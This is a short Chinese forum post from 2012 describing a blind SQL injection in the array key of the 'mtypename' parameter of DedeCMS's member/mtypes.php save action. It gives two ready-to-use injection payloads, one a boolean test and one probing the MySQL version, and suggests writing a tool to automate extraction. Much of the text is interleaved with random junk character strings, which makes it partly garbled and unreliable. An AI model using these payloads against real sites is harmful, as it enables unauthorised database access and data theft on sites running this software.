需要magic_quotes_gpc = Off,所以说是鸡肋啊.3 J# V9 }0 _- T/ c: J" O
( q: m2 O1 a$ t8 s7 b5 {
, e( u! [ F/ Q- g+ } a9 x8 ^% |
发生在数组key里的注射漏洞,有点意思.2 n s' L6 B" s X! w
N i# n, {+ i; F这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下6 w) D* ^+ l7 L% ~. v8 M% e; J
) }* I* I/ J4 _2 j+ h
http://www.xxx.com /dede/member/mtypes.php?dopost=save
- P# I, y* ?( }( \+ B" }/ I/ j ? B( r9 L9 m0 U+ e
exploit:
( u. ?( Y. S' Cmtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r1 m7 n3 ^( i, Z
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r8 `; X. `$ m$ }2 L- u! E
|
发表于 2012-12-20 08:08:09
收藏
分享
支持
反对